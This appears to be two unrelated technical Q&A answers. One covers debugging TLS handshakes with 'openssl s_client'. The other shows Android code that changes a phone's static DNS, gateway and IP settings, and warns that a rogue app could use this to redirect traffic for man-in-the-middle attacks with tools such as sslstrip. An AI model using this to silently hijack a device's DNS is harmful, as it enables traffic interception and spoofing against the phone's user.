openssl s_client -connect theservername:443 -msg -debug

Also try to play with some of the options to select the protocol version (-ssl2, -ssl3, -tls1...) and the supported cipher suites (-ciphers). Ultimately, you could even recompile your own version of OpenSSL with custom debug code inserted in it (to print out intermediate values and so on). OpenSSL is opensource, so this is technically doable, if you have some C programming knowledge.

Some mastery of the details of the SSL protocol will help. See this answer as a starting point.


It is actually possible to set your DNS servers in the phone's UI, by choosing a static IP in the advanced network connections settings. According to a question on StackOverflow, these settings can be programmatically altered as long as the WRITE_SETTINGS permission is set, using the following code:

android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_USE_STATIC_IP, "0");
android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_STATIC_DNS1, "192.168.0.2");
android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_STATIC_DNS2, "192.168.0.3");
android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_STATIC_GATEWAY, "192.168.0.1");
android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_STATIC_NETMASK, "255.255.255.0");
android.provider.Settings.System.putString(getContentResolver(), android.provider.Settings.System.WIFI_STATIC_IP, "1");

If you have USB Debugging enabled, the settings can also be changed by software on your PC, without any permission requirements or user interaction.

Onto the second part of your question: yes, this is most definitely a security concern. If an app sets your DNS server to a rogue server, it can redirect traffic to any IP address it wishes, facilitating a man-in-the-middle attack. Combined with tools like BeEF, sslstrip and sslsniff, it's almost trivial to completely spoof your browsing experience.